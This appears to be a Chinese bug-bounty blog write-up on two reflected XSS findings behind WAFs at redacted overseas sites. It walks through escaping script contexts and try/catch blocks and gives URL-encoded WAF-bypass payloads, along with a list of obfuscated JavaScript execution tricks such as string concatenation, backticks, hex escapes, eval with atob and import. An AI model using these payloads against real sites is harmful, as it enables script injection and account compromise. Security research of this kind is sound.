【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS

2025-04-08 21 0

前言

分享两个海外大型SRC厂商的XSS成功绕过WAF的案例,觉得挺有趣的,遂整理成文,大佬们轻喷~

XSS绕过

某全球顶级网络设备商

首先,URL是这样的

https://axxx.test.com/Cxxxxxxx/gxxxxx?Axxxx=hxxxx&Bxxxx=yxxxx2&Gxxxx=yxxxx&Gxxxxx=gxxxxx&Kxxxx=vxxxxx&Lxxx=nxxxx&Mxxxx=oxxxx=nxxx&Mxxx=xxxx&cxxxxx=ixxx&location=US

既然是找XSS,那么无非就是找输入输出的点,再绕下WAF就可以了,工具这里就不说了,只说手工。可以看到这么多个输入参数,该怎么快速定位到有回显输出的那个参数呢?

可以直接这样,把每一个参数值都写成一个标记值,比如"X1lyS-1","X1lyS-2","X1lyS-3"……然后再去响应里搜索标记值,就能快速找出有回显输出的参数

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图

查看源代码,搜索"X1lyS",由于右键不方便看js代码的结构,每次右键也麻烦,于是推荐使用burp抓包来看就很直观了

一共搜索到4处回显,选择一处结构最清晰简单的进行下一步测试,因为结构清晰的地方便于构造闭合

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图1

可以看到GET参数"location=X1lyS-11",回显输出在了响应中,"var _location='X1lyS-11';",那么就测试这里了

该处回显点,在前端页面表现为修改地理位置的功能点,所以师傅们以后遇到这种场景就可以考虑测试一下有无XSS

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图2

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图3

回显点处的结构很简单,位于script标签内的_location变量的值处

<script type="text/javascript">
// ... [其他变量已隐藏] ...
var _location='X1lyS-11';
// ... [其余代码已虚化] ...
</script>

既然已经在<script>标签内,那么就直接构造js代码就可以了,不用再写什么html标签

首先,先闭合逃逸出来_location变量

location=X1lyS-11';test

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图4

逃逸成功!没有过滤',和;符号

直接写个alert试试呢,最好先不要直接写alert(),为什么呢?因为alert+()是两个变量,alert是一个变量,如果alert()被拦截,根据控制变量法,我们不能一步知道WAF到底是拦截的alert字符串还是()符号,还是两者都拦截?绕过WAF的核心就是一点一点的FUZZ出来WAF到底拦截的是哪一个小部分,然后我们再使用其他可行的方式替换掉这个小部分就能绕过WAF了

&location=X1lyS-11';alert

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图5

逃逸失效,被WAF转义拦截,说明WAF会拦截alert关键字

location=X1lyS-11';()

直接失去回显,location被设置为了"US"默认值,说明WAF拦截了()

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图6

那我们先在alert关键字本身做文章,尝试最简单的大小写绕过试试

location=X1lyS-11';alerT

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图7

大小写绕过试试失败

拼接绕过试试,使用window去拼接alert关键字

window['al'+'ert'](1);

但是注意()也被拦截了,于是我们使用反引号来绕过,替换()

location=X1lyS-11';window['al'+'ert']`1`;

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图8

这里还需要注意,这个payload里出现了几个特殊字符[]以及反引号,它们都需要被URL编码,不然会导致服务器400格式错误,于是我们修改如下

location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%601%60%3B

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图9

成功绕过alert()的过滤!

不过还不要忘记加上//,闭合掉后面的js代码,这样语法才能正确,我们插入的js弹窗代码才会被执行

location=X1lyS-11';window%5B%27al%27%2B%27ert%27%5D%60X1ly?S%60%3B//

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图10

在浏览器浏览响应,看看是否成功弹窗

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图11

哟西成功弹窗!

那除了这种正面绕过方式还有什么呢?反面绕过,也就是寻找没有被过滤的关键字来替代alert证明XSS漏洞存在

比如,下面几个函数来替换

// 使用prompt
prompt(1);
​
// 使用confirm
confirm(1);
​
// 使用console.log (不会弹窗但可以验证执行)
console.log(1);

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图12

经过尝试promptconfirm也被禁用了,但是console.log没有被禁用,于是直接又找到一种解法

location=X1lyS-11';console.log%60X1ly%3FS%60//

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图13

执行成功!

如果还想再复杂点该怎么构造呢?使用执行函数嵌套弹窗函数加编码试试

先看看eval关键字

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图14

毫不意外被过滤了,那找一些偏僻点的执行方式试试?

使用 Function 构造函数

// 基本用法
new Function('alert(1)')()
​
// 带参数的用法
Function('a','l','e','r','t','(1)')()
​
// 字符串拼接
Function('al'+'ert(1)')()

使用 setTimeout/setInterval

// 直接使用
setTimeout('alert(1)')
​
// 字符串拼接
setInterval['call'](null, 'al'+'ert(1)')

使用 location 或 URL 相关方法

// 通过 javascript: 协议
location['href'] = 'javascript:alert(1)'
​
// 使用 assign
location.assign('javascript:alert(1)')

使用事件处理器

// 创建事件
document.onclick = new Function('alert(1)')
​
// 添加事件监听
document.addEventListener('click', () => { alert(1) })

使用动态脚本创建

// 创建 script 元素
const s = document.createElement('script')
s.textContent = 'alert(1)'
document.body.appendChild(s)

使用 import()

// 动态导入
import('data:text/javascript,alert(1)')

使用 with 语句

// 结合 with 语句
with({a:'al',b:'ert'}) { window[a+b](1) }

使用 Proxy 对象

// 通过 Proxy 执行
new Proxy({}, { get: (_, prop) => prop === 'exec' && alert(1) }).exec

这里就简单展示几个成功的,不全部展示了,都是一样的手法

setTimeout

注意哈还是要把括号换成反引号

location=X1lyS-11';setTimeout`alert`1``

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图15

但是这样是不正确的语法,因为出现了四个反引号,会导致几个反引号配对闭合时产生语法错误,只需要加一个转义一下内侧的两个反引号就行了,加上注释符号

location=X1lyS-11';setTimeout`alert`1``//

不过,你是不是忘记了什么?alert也被过滤了呀,于是再使用一个十六进制编码下

alx65rt

特别注意!这样的编码方式需要被嵌套到执行函数内部才能被正确解析,直接这样是语法错误的

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图16

url编码

location=X1lyS-11';setTimeout%60al%5Cx65rt%5C%60X1ly?S%5C%60%60%2F%2F

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图17

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图18

成功!

javascript

javascript关键字也需要被十六进制编码,同理可得

location=X1lyS-11';location%5B%27href%27%5D%20%3D%20%27j%5Cx61vascript%3Aal%5Cx65rt%601%60%27//

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图18

某全球最大的在线学习平台

url是这样

https://www.cxxxxxxx.com/cxxxxx/cxxxxxxxx.pl?cxxxx=vxxxx&fxxx=Mxxxx&jxxxx=txxxxx&m=bxxxxx&mod=pxxxx&month=exxxxx&pxxxx=uxxxx&product_isbn_issn=xxxxxx

上面介绍过的就不再重复,探测出来有回显的参数是product_isbn_issn

前端页面长这样子,对没错,就是一个空白的框框

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图19

抓包看看回显点所处的js代码结构

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图20

可以看到回显点在try-catch语句块里

那么先构造闭合逃逸

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图21

逃逸成功

直接尝试alert关键字

product_isbn_issn=X1lyS');alert

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图22

发现竟然没有拦截,那么直接闭合后面的符号,不用注释了

product_isbn_issn=X1lyS');alert('1

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图23

卧槽?直接就闭合了?也没有任何拦截,这么快就秒了吗?

看看浏览器响应,是否真的弹窗了?

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图24

果然没这么简单!奇怪,没有成功弹窗,看看控制台有什么报错吗难道?

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图25

果然有相关的报错,解释一下这个报错是什么意思

这是一个框架访问错误: 错误信息显示Cannot read properties of undefined (reading 'location'),说明代码试图访问window.parent.frames['banner']时失败。可能原因有:父窗口中不存在名为'banner'的框架,或者由于同源策略限制,无法访问跨域的iframe内容

为什么有这个报错会弹窗失败呢?看看此处的js代码

function rexxxxx() {
var raxxxxx=Mxxx.fxxxx(xxx);

try { 
window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');alert('1');
} catch (e) {}
}
</script>

那是因为如果window.parent.frames['banner']访问失败,try会捕获错误,但catch (e) {}直接忽略,导致你看不到错误。alert('1')不会执行,因为前面的代码已经报错,JS会停止执行

那咋办?排查下这个报错为什么会产生呢,在浏览器控制台(F12)运行:

console.log(window.parent.frames['banner']);

如果返回undefined,说明没有这个frame

如果返回null或报跨域错误,说明存在但无法访问

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图26

好吧说明没有这个frame,那咋办才能执行我们的弹窗代码捏?这个报错我们无法直接修复,修复不了它的下一行弹窗代码就不会被执行……

既然这样,我们再逃逸一层试试呢,直接逃逸出来try语句,脱离这个报错的影响范围

product_isbn_issn=X1lyS');}alert('1

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图27

这样显然是不对的语法,还有一个}未被正确闭合,于是我们得做大修改,把它们分成三个部分来闭合

///这是第一个部分:rexxxxx()函数块,函数内部需要使用catch (e)闭合掉try语句,使得语法正确
function rexxxxx() {
var raxxxxx=Mxxx.fxxxx(xxx);

try { 
window.parent.frames['banner'].location.replace('/cxxxxxxxxxxx/cxxxxxxxx.pl?fxxxxx=Mxxxxx&product_isbn_issn=X1lyS');
///

///这是第二部分,将用来写我们的弹窗代码逻辑 
test'); 
///

///这是第三部分,将使用try语句闭合掉catch语句,使得语法正确,然后还要正确闭合}符号,于是需要在构造一个fuction来闭合,也就是外面再套一层函数块

} catch (e) {}
}
///
</script>

理论成立,开始实战!

闭合第一部分rexxxxx()函数块,以及函数块内部的try语句

product_isbn_issn=X1lyS');}catch(e){}}test

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图28

闭合成功!

接着开始构造弹窗代码逻辑

product_isbn_issn=X1lyS');}catch(e){}}alert(1);

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图29

先这样写着占个位,继续闭合第三部分

product_isbn_issn=X1lyS');}catch(e){}}alert(1);function X(){try{//

url编个码

product_isbn_issn=X1lyS%27)%3B%7Dcatch(e)%7B%7D%7Dalert('X1ly?S')%3Bfunction%20X()%7Btry%7B%2F%2F

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图30

看看响应

【海外SRC实战】硬刚世界500强企业WAF,连斩两枚海外XSS插图31

哟西!成功弹窗

"主播主播,你的payload还是太不吃操作了,有没有更复杂的payload"

"有的兄弟有的,这样更复杂的payload还有很多"

假设alert被过滤,我们有很多种方式去绕过:

  • eval嵌套base64编码
eval(atob`YWxlcnQoJ1gxbHk/Uycp`);
  • Reflect.apply反射调用

Reflect.apply(window['al'+'ert'], null, ['X1ly?S']);
  • Object.defineProperty动态定义

Object.defineProperty(window, 'a', {get: () => window['ale'+'rt']}).a('X1ly?S');
  • String.fromCharCode拼接函数名

window[String.fromCharCode(97,108,101,114,116)]('X1ly?S');
  • <iframe>沙盒绕过

document.body.innerHTML += '<iframe src="javascript:alu0065rt('X1ly?S')">';
  • Event事件处理函数

eval(URL.createObjectURL(new Blob(['alx65rt("X1ly?S")'], {type: 'text/javascript'})));
  • Array.map隐式调用

['al'].map(x => window[x + 'ert']('X1ly?S'))[0];

ok,文章到此结束,师傅们下次再见~,欢迎留言下次写什么文章呢?


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

emlog pro-2.5.7-2.5.8 存在SQL注入漏洞
JAVA安全学习——SQL注入审计
使用 Proxychains 和 Tor 匿名化你的流量
渗透测试工具 | 信息泄露挖掘——利器HAE
Apache Superset 漏洞组合利用拿权限
ShellCode加载器 | 基于Go语言的shellcode加载器常见实现方式详解

发布评论